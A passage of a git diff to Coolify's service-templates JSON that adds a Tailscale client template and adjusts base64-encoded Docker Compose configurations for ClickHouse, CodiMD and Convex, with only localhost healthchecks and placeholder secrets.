Q6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1hbmFseXRpY3N9JwogICAgICAtICdDTElDS0hPVVNFX1VTRVI9JHtDTElDS0hPVVNFX1VTRVI6LWRlZmF1bHR9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgdm9sdW1lczoKICAgICAgLSAnY2xpY2tob3VzZV9kYXRhOi92YXIvbGliL2NsaWNraG91c2UnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL2VuYWJsZV9qc29uLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci9jb25maWcuZC9lbmFibGVfanNvbi54bWwKICAgICAgICBjb250ZW50OiAiPGNsaWNraG91c2U+XG4gICAgPHNldHRpbmdzPlxuICAgICAgICA8ZW5hYmxlX2pzb25fdHlwZT4xPC9lbmFibGVfanNvbl90eXBlPlxuICAgIDwvc2V0dGluZ3M+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL2xvZ2dpbmdfcnVsZXMueG1sCiAgICAgICAgdGFyZ2V0OiAvZXRjL2NsaWNraG91c2Utc2VydmVyL2NvbmZpZy5kL2xvZ2dpbmdfcnVsZXMueG1sCiAgICAgICAgY29udGVudDogIjxjbGlja2hvdXNlPlxuICAgIDxsb2dnZXI+XG4gICAgICAgIDxsZXZlbD53YXJuaW5nPC9sZXZlbD5cbiAgICAgICAgPGNvbnNvbGU+dHJ1ZTwvY29uc29sZT5cbiAgICA8L2xvZ2dlcj5cbiAgICA8cXVlcnlfdGhyZWFkX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPHF1ZXJ5X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPHRleHRfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8dHJhY2VfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8bWV0cmljX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPGFzeW5jaHJvbm91c19tZXRyaWNfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8c2Vzc2lvbl9sb2cgcmVtb3ZlPVwicmVtb3ZlXCIvPlxuICAgIDxwYXJ0X2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG4gICAgPGxhdGVuY3lfbG9nIHJlbW92ZT1cInJlbW92ZVwiLz5cbiAgICA8cHJvY2Vzc29yc19wcm9maWxlX2xvZyByZW1vdmU9XCJyZW1vdmVcIi8+XG48L2NsaWNraG91c2U+IgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9jbGlja2hvdXNlX2NvbmZpZy9uZXR3b3JrLnhtbAogICAgICAgIHRhcmdldDogL2V0Yy9jbGlja2hvdXNlLXNlcnZlci9jb25maWcuZC9uZXR3b3JrLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgICA8bGlzdGVuX2hvc3Q+MC4wLjAuMDwvbGlzdGVuX2hvc3Q+XG48L2NsaWNraG91c2U+XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2NsaWNraG91c2VfY29uZmlnL3VzZXJfbG9nZ2luZy54bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvY2xpY2tob3VzZS1zZXJ2ZXIvY29uZmlnLmQvdXNlcl9sb2dnaW5nLnhtbAogICAgICAgIGNvbnRlbnQ6ICI8Y2xpY2tob3VzZT5cbiAgICA8cHJvZmlsZXM+XG4gICAgICAgIDxkZWZhdWx0PlxuICAgICAgICAgICAgPGxvZ19xdWVyaWVzPjA8L2xvZ19xdWVyaWVzPlxuICAgICAgICAgICAgPGxvZ19xdWVyeV90aHJlYWRzPjA8L2xvZ19xdWVyeV90aHJlYWRzPlxuICAgICAgICAgICAgPGxvZ19wcm9jZXNzb3JzX3Byb2ZpbGVzPjA8L2xvZ19wcm9jZXNzb3JzX3Byb2ZpbGVzPlxuICAgICAgICA8L2RlZmF1bHQ+XG4gICAgPC9wcm9maWxlcz5cbjwvY2xpY2tob3VzZT5cbiIK",
         "tags": [
             "analytics",
             "web",
@@ -3673,7 +3729,7 @@
             "clickhouse",
             "postgres"
         ],
-        "category": null,
+        "category": "analytics",
         "logo": "svgs/rybbit.svg",
         "minversion": "0.0.0",
         "port": "3002"
@@ -4034,6 +4090,19 @@
         "minversion": "0.0.0",
         "port": "8384"
     },
+    "tailscale-client": {
+        "documentation": "https://tailscale.com/kb?utm_source=coolify.io",
+        "slogan": "Tailscale securely connects your devices over the internet using WireGuard.",
+        "compose": "c2VydmljZXM6CiAgdGFpbHNjYWxlLWNsaWVudDoKICAgIGltYWdlOiAndGFpbHNjYWxlL3RhaWxzY2FsZTpsYXRlc3QnCiAgICBob3N0bmFtZTogJyR7VFNfSE9TVE5BTUU6LWNvb2xpZnktdHN9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1RTX0hPU1ROQU1FPSR7VFNfSE9TVE5BTUU6LWNvb2xpZnktdHN9JwogICAgICAtICdUU19BVVRIS0VZPSR7VFNfQVVUSEtFWTo/fScKICAgICAgLSAnVFNfU1RBVEVfRElSPSR7VFNfU1RBVEVfRElSOi0vdmFyL2xpYi90YWlsc2NhbGV9JwogICAgICAtICdUU19VU0VSU1BBQ0U9JHtUU19VU0VSU1BBQ0U6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3RhaWxzY2FsZS1jbGllbnQ6L3Zhci9saWIvdGFpbHNjYWxlJwogICAgZGV2aWNlczoKICAgICAgLSAnL2Rldi9uZXQvdHVuOi9kZXYvbmV0L3R1bicKICAgIGNhcF9hZGQ6CiAgICAgIC0gbmV0X2FkbWluCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gInRhaWxzY2FsZSBzdGF0dXMgLS1qc29uIHwgZ3JlcCAtcSAnQmFja2VuZFN0YXRlJyIKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgbmdpbng6CiAgICBpbWFnZTogJ25naW54OmxhdGVzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIC0gdGFpbHNjYWxlLWNsaWVudAogICAgbmV0d29ya19tb2RlOiAnc2VydmljZTp0YWlsc2NhbGUtY2xpZW50JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwLycKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMK",
+        "tags": [
+            "vpn",
+            "wireguard",
+            "remote-access"
+        ],
+        "category": "networking",
+        "logo": "svgs/tailscale.svg",
+        "minversion": "0.0.0"
+    },
     "teable": {
         "documentation": "https://help.teable.io/?utm_source=coolify.io",
         "slogan": "Teable is a powerful visual interface built on relational databases (PostgreSQL).",
diff --git a/templates/service-templates.json b/templates/service-templates.json
index d711b9d95..398a23e42 100644
--- a/templates/service-templates.json
+++ b/templates/service-templates.json
@@ -581,7 +581,7 @@
     "codimd": {
         "documentation": "https://hackmd.io/c/codimd-documentation?utm_source=coolify.io",
         "slogan": "Realtime collaborative markdown notes on all platforms",
-        "compose": "c2VydmljZXM6CiAgY29kaW1kOgogICAgaW1hZ2U6ICduYWJvLmNvZGltZC5kZXYvaGFja21kaW8vaGFja21kOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DT0RJTURfMzAwMAogICAgICAtICdDTURfRE9NQUlOPSR7U0VSVklDRV9GUUROX0NPRElNRH0nCiAgICAgIC0gJ0NNRF9QUk9UT0NPTF9VU0VTU0w9JHtDTURfUFJPVE9DT0xfVVNFU1NMOi1mYWxzZX0nCiAgICAgIC0gJ0NNRF9TRVNTSU9OX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfU0VTU0lPTlNFQ1JFVH0nCiAgICAgIC0gJ0NNRF9VU0VDRE49JHtDTURfVVNFQ0ROOi1mYWxzZX0nCiAgICAgIC0gJ0NNRF9EQl9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWNvZGltZC1kYn0nCiAgICAgIC0gJ0NNRF9FTUFJTD0ke0NNRF9FTUFJTDotdHJ1ZX0nCiAgICAgIC0gJ0NNRF9BTExPV19FTUFJTF9SRUdJU1RFUj0ke0NNRF9BTExPV19FTUFJTF9SRUdJU1RFUjotdHJ1ZX0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdjdXJsIC1mIGh0dHA6Ly9sb2NhbGhvc3Q6MzAwMC8gfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHNfZGF0YTovaG9tZS9oYWNrbWQvYXBwL3B1YmxpYy91cGxvYWRzJwogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdjb2RpbWRfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNvZGltZC1kYn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==",
+        "compose": "c2VydmljZXM6CiAgY29kaW1kOgogICAgaW1hZ2U6ICduYWJvLmNvZGltZC5kZXYvaGFja21kaW8vaGFja21kOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DT0RJTURfMzAwMAogICAgICAtICdDTURfRE9NQUlOPSR7U0VSVklDRV9GUUROX0NPRElNRH0nCiAgICAgIC0gJ0NNRF9QUk9UT0NPTF9VU0VTU0w9JHtDTURfUFJPVE9DT0xfVVNFU1NMOi10cnVlfScKICAgICAgLSAnQ01EX1NFU1NJT05fU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9TRVNTSU9OU0VDUkVUfScKICAgICAgLSAnQ01EX1VTRUNETj0ke0NNRF9VU0VDRE46LWZhbHNlfScKICAgICAgLSAnQ01EX0RCX1VSTD1wb3N0Z3JlczovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotY29kaW1kLWRifScKICAgICAgLSAnQ01EX0VNQUlMPSR7Q01EX0VNQUlMOi10cnVlfScKICAgICAgLSAnQ01EX0FMTE9XX0VNQUlMX1JFR0lTVEVSPSR7Q01EX0FMTE9XX0VNQUlMX1JFR0lTVEVSOi10cnVlfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ2N1cmwgLWYgaHR0cDovL2xvY2FsaG9zdDozMDAwLyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQogICAgdm9sdW1lczoKICAgICAgLSAndXBsb2Fkc19kYXRhOi9ob21lL2hhY2ttZC9hcHAvcHVibGljL3VwbG9hZHMnCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2NvZGltZF9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotY29kaW1kLWRifScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
         "tags": [
             "markdown",
             "md",
@@ -599,7 +599,7 @@
     "convex": {
         "documentation": "https://github.com/get-convex/convex-backend/blob/main/self-hosted/README.md?utm_source=coolify.io",
         "slogan": "Convex is the open-source reactive database for app developers.",
-        "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnZ2hjci5pby9nZXQtY29udmV4L2NvbnZleC1iYWNrZW5kOjAwYmQ5MjcyMzQyMmYzYmZmOTY4MjMwYzk0Y2NkZWI4YzE3MTk4MzInCiAgICB2b2x1bWVzOgogICAgICAtICdkYXRhOi9jb252ZXgvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9CQUNLRU5EXzMyMTAKICAgICAgLSAnSU5TVEFOQ0VfTkFNRT0ke0lOU1RBTkNFX05BTUU6LXNlbGYtaG9zdGVkLWNvbnZleH0nCiAgICAgIC0gJ0lOU1RBTkNFX1NFQ1JFVD0ke1NFUlZJQ0VfSEVYXzMyX1NFQ1JFVH0nCiAgICAgIC0gJ0NPTlZFWF9SRUxFQVNFX1ZFUlNJT05fREVWPSR7Q09OVkVYX1JFTEVBU0VfVkVSU0lPTl9ERVY6LX0nCiAgICAgIC0gJ0FDVElPTlNfVVNFUl9USU1FT1VUX1NFQ1M9JHtBQ1RJT05TX1VTRVJfVElNRU9VVF9TRUNTOi19JwogICAgICAtICdDT05WRVhfQ0xPVURfT1JJR0lOPSR7U0VSVklDRV9GUUROX0NPTlZFWH0nCiAgICAgIC0gJ0NPTlZFWF9TSVRFX09SSUdJTj0ke1NFUlZJQ0VfRlFETl9CQUNLRU5EfScKICAgICAgLSAnREFUQUJBU0VfVVJMPSR7REFUQUJBU0VfVVJMOi19JwogICAgICAtICdESVNBQkxFX0JFQUNPTj0ke0RJU0FCTEVfQkVBQ09OOj9mYWxzZX0nCiAgICAgIC0gJ1JFREFDVF9MT0dTX1RPX0NMSUVOVD0ke1JFREFDVF9MT0dTX1RPX0NMSUVOVDo/ZmFsc2V9JwogICAgICAtICdET19OT1RfUkVRVUlSRV9TU0w9JHtET19OT1RfUkVRVUlSRV9TU0w6P3RydWV9JwogICAgICAtICdQT1NUR1JFU19VUkw9JHtQT1NUR1JFU19VUkw6LX0nCiAgICAgIC0gJ01ZU1FMX1VSTD0ke01ZU1FMX1VSTDotfScKICAgICAgLSAnUlVTVF9MT0c9JHtSVVNUX0xPRzotaW5mb30nCiAgICAgIC0gJ1JVU1RfQkFDS1RSQUNFPSR7UlVTVF9CQUNLVFJBQ0U6LX0nCiAgICAgIC0gJ0FXU19SRUdJT049JHtBV1NfUkVHSU9OOi19JwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke0FXU19BQ0NFU1NfS0VZX0lEOi19JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtBV1NfU0VDUkVUX0FDQ0VTU19LRVk6LX0nCiAgICAgIC0gJ0FXU19TRVNTSU9OX1RPS0VOPSR7QVdTX1NFU1NJT05fVE9LRU46LX0nCiAgICAgIC0gJ0FXU19TM19GT1JDRV9QQVRIX1NUWUxFPSR7QVdTX1MzX0ZPUkNFX1BBVEhfU1RZTEU6LX0nCiAgICAgIC0gJ0FXU19TM19ESVNBQkxFX1NTRT0ke0FXU19TM19ESVNBQkxFX1NTRTotfScKICAgICAgLSAnQVdTX1MzX0RJU0FCTEVfQ0hFQ0tTVU1TPSR7QVdTX1MzX0RJU0FCTEVfQ0hFQ0tTVU1TOi19JwogICAgICAtICdTM19TVE9SQUdFX0VYUE9SVFNfQlVDS0VUPSR7UzNfU1RPUkFHRV9FWFBPUlRTX0JVQ0tFVDotfScKICAgICAgLSAnUzNfU1RPUkFHRV9TTkFQU0hPVF9JTVBPUlRTX0JVQ0tFVD0ke1MzX1NUT1JBR0VfU05BUFNIT1RfSU1QT1JUU19CVUNLRVQ6LX0nCiAgICAgIC0gJ1MzX1NUT1JBR0VfTU9EVUxFU19CVUNLRVQ9JHtTM19TVE9SQUdFX01PRFVMRVNfQlVDS0VUOi19JwogICAgICAtICdTM19TVE9SQUdFX0ZJTEVTX0JVQ0tFVD0ke1MzX1NUT1JBR0VfRklMRVNfQlVDS0VUOi19JwogICAgICAtICdTM19TVE9SQUdFX1NFQVJDSF9CVUNLRVQ9JHtTM19TVE9SQUdFX1NFQVJDSF9CVUNLRVQ6LX0nCiAgICAgIC0gJ1MzX0VORFBPSU5UX1VSTD0ke1MzX0VORFBPSU5UX1VSTDotfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAtZiBodHRwOi8vMTI3LjAuMC4xOjMyMTAvdmVyc2lvbicKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTBzCiAgZGFzaGJvYXJkOgogICAgaW1hZ2U6ICdnaGNyLmlvL2dldC1jb252ZXgvY29udmV4LWRhc2hib2FyZDozM2NlZjc3NWE4YTYyMjhjYmFjZWU0YTA5YWMyYzQwNzNkNjJlZDEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0NPTlZFWF82NzkxCiAgICAgIC0gJ05FWFRfUFVCTElDX0RFUExPWU1FTlRfVVJMPSR7U0VSVklDRV9GUUROX0JBQ0tFTkR9JwogICAgZGVwZW5kc19vbjoKICAgICAgYmFja2VuZDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo2NzkxLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK",
+        "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnZ2hjci5pby9nZXQtY29udmV4L2NvbnZleC1iYWNrZW5kOjAwYmQ5MjcyMzQyMmYzYmZmOTY4MjMwYzk0Y2NkZWI4YzE3MTk4MzInCiAgICB2b2x1bWVzOgogICAgICAtICdkYXRhOi9jb252ZXgvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9CQUNLRU5EXzMyMTAKICAgICAgLSAnSU5TVEFOQ0VfTkFNRT0ke0lOU1RBTkNFX05BTUU6LXNlbGYtaG9zdGVkLWNvbnZleH0nCiAgICAgIC0gJ0lOU1RBTkNFX1NFQ1JFVD0ke1NFUlZJQ0VfSEVYXzMyX1NFQ1JFVH0nCiAgICAgIC0gJ0NPTlZFWF9SRUxFQVNFX1ZFUlNJT05fREVWPSR7Q09OVkVYX1JFTEVBU0VfVkVSU0lPTl9ERVY6LX0nCiAgICAgIC0gJ0FDVElPTlNfVVNFUl9USU1FT1VUX1NFQ1M9JHtBQ1RJT05TX1VTRVJfVElNRU9VVF9TRUNTOi19JwogICAgICAtICdDT05WRVhfQ0xPVURfT1JJR0lOPSR7U0VSVklDRV9GUUROX0RBU0hCT0FSRH0nCiAgICAgIC0gJ0NPTlZFWF9TSVRFX09SSUdJTj0ke1NFUlZJQ0VfRlFETl9CQUNLRU5EfScKICAgICAgLSAnREFUQUJBU0VfVVJMPSR7REFUQUJBU0VfVVJMOi19JwogICAgICAtICdESVNBQkxFX0JFQUNPTj0ke0RJU0FCTEVfQkVBQ09OOj9mYWxzZX0nCiAgICAgIC0gJ1JFREFDVF9MT0dTX1RPX0NMSUVOVD0ke1JFREFDVF9MT0dTX1RPX0NMSUVOVDo/ZmFsc2V9JwogICAgICAtICdET19OT1RfUkVRVUlSRV9TU0w9JHtET19OT1RfUkVRVUlSRV9TU0w6P3RydWV9JwogICAgICAtICdQT1NUR1JFU19VUkw9JHtQT1NUR1JFU19VUkw6LX0nCiAgICAgIC0gJ01ZU1FMX1VSTD0ke01ZU1FMX1VSTDotfScKICAgICAgLSAnUlVTVF9MT0c9JHtSVVNUX0xPRzotaW5mb30nCiAgICAgIC0gJ1JVU1RfQkFDS1RSQUNFPSR7UlVTVF9CQUNLVFJBQ0U6LX0nCiAgICAgIC0gJ0FXU19SRUdJT049JHtBV1NfUkVHSU9OOi19JwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke0FXU19BQ0NFU1NfS0VZX0lEOi19JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtBV1NfU0VDUkVUX0FDQ0VTU19LRVk6LX0nCiAgICAgIC0gJ0FXU19TRVNTSU9OX1RPS0VOPSR7QVdTX1NFU1NJT05fVE9LRU46LX0nCiAgICAgIC0gJ0FXU19TM19GT1JDRV9QQVRIX1NUWUxFPSR7QVdTX1MzX0ZPUkNFX1BBVEhfU1RZTEU6LX0nCiAgICAgIC0gJ0FXU19TM19ESVNBQkxFX1NTRT0ke0FXU19TM19ESVNBQkxFX1NTRTotfScKICAgICAgLSAnQVdTX1MzX0RJU0FCTEVfQ0hFQ0tTVU1TPSR7QVdTX1MzX0RJU0FCTEVfQ0hFQ0tTVU1TOi19JwogICAgICAtICdTM19TVE9SQUdFX0VYUE9SVFNfQlVDS0VUPSR7UzNfU1RPUkFHRV9FWFBPUlRTX0JVQ0tFVDotfScKICAgICAgLSAnUzNfU1RPUkFHRV9TTkFQU0hPVF9JTVBPUlRTX0JVQ0tFVD0ke1MzX1NUT1JBR0VfU05BUFNIT1RfSU1QT1JUU19CVUNLRVQ6LX0nCiAgICAgIC0gJ1MzX1NUT1JBR0VfTU9EVUxFU19CVUNLRVQ9JHtTM19TVE9SQUdFX01PRFVMRVNfQlVDS0VUOi19JwogICAgICAtICdTM19TVE9SQUdFX0ZJTEVTX0JVQ0tFVD0ke1MzX1NUT1JBR0VfRklMRVNfQlVDS0VUOi19JwogICAgICAtICdTM19TVE9SQUdFX1NFQVJDSF9CVUNLRVQ9JHtTM19TVE9SQUdFX1NFQVJDSF9CVUNLRVQ6LX0nCiAgICAgIC0gJ1MzX0VORFBPSU5UX1VSTD0ke1MzX0VORFBPSU5UX1VSTDotfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAtZiBodHRwOi8vMTI3LjAuMC4xOjMyMTAvdmVyc2lvbicKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTBzCiAgZGFzaGJvYXJkOgogICAgaW1hZ2U6ICdnaGNyLmlvL2dldC1jb252ZXgvY29udmV4LWRhc2hib2FyZDozM2NlZjc3NWE4YTYyMjhjYmFjZWU0YTA5YWMyYzQwNzNkNjJlZDEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0RBU0hCT0FSRF82NzkxCiAgICAgIC0gJ05FWFRfUFVCTElDX0RFUExPWU1FTlRfVVJMPSR7U0VSVklDRV9GUUROX0JBQ0tFTkR9JwogICAgZGVwZW5kc19vbjoKICAgICAgYmFja2VuZDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo2NzkxLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK",
         "tags": [
             "database",
             "reactive",
@@ -760,7 +760,7 @@
     "documenso": {
         "documentation": "https://docs.documenso.com/?utm_source=coolify.io",
         "slogan": "Document signing, finally open source",
-        "compose": "c2VydmljZXM6CiAgZG9jdW1lbnNvOgogICAgaW1hZ2U6ICdkb2N1bWVuc28vZG9jdW1lbnNvOnYxLjEyLjEwJwogICAgZGVwZW5kc19vbjoKICAgICAgZGF0YWJhc2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9ET0NVTUVOU09fMzAwMAogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fRE9DVU1FTlNPfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfQVVUSFNFQ1JFVH0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0X0VOQ1JZUFRJT05LRVl9JwogICAgICAtICdORVhUX1BSSVZBVEVfRU5DUllQVElPTl9TRUNPTkRBUllfS0VZPSR7U0VSVklDRV9CQVNFNjRfU0VDT05EQVJZRU5DUllQVElPTktFWX0nCiAgICAgIC0gJ05FWFRfUFVCTElDX1dFQkFQUF9VUkw9JHtTRVJWSUNFX0ZRRE5fRE9DVU1FTlNPfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1JFU0VORF9BUElfS0VZPSR7TkVYVF9QUklWQVRFX1JFU0VORF9BUElfS0VZfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfVFJBTlNQT1JUPSR7TkVYVF9QUklWQVRFX1NNVFBfVFJBTlNQT1JUfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfSE9TVD0ke05FWFRfUFJJVkFURV9TTVRQX0hPU1R9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9QT1JUPSR7TkVYVF9QUklWQVRFX1NNVFBfUE9SVH0nCiAgICAgIC0gJ05FWFRfUFJJVkFURV9TTVRQX1VTRVJOQU1FPSR7TkVYVF9QUklWQVRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdORVhUX1BSSVZBVEVfU01UUF9QQVNTV09SRD0ke05FWFRfUFJJVkFURV9TTVRQX1BBU1NXT1JEfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfRlJPTV9OQU1FPSR7TkVYVF9QUklWQVRFX1NNVFBfRlJPTV9OQU1FfScKICAgICAgLSAnTkVYVF9QUklWQVRFX1NNVFBfRlJPTV9BRERSRVNTPSR7TkVYVF9QUklWQVRFX1NNVFBfRlJPTV9BRERSRVNTfScKICAgICAgLSAnTkVYVF9QUklWQVRFX0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AZGF0YWJhc2UvJHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifT9zY2hlbWE9cHVibGljJwogICAgICAtICdORVhUX1BSSVZBVEVfRElSRUNUX0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AZGF0YWJhc2UvJHtQT1NUR1JFU19EQjotZG9jdW1lbnNvLWRifT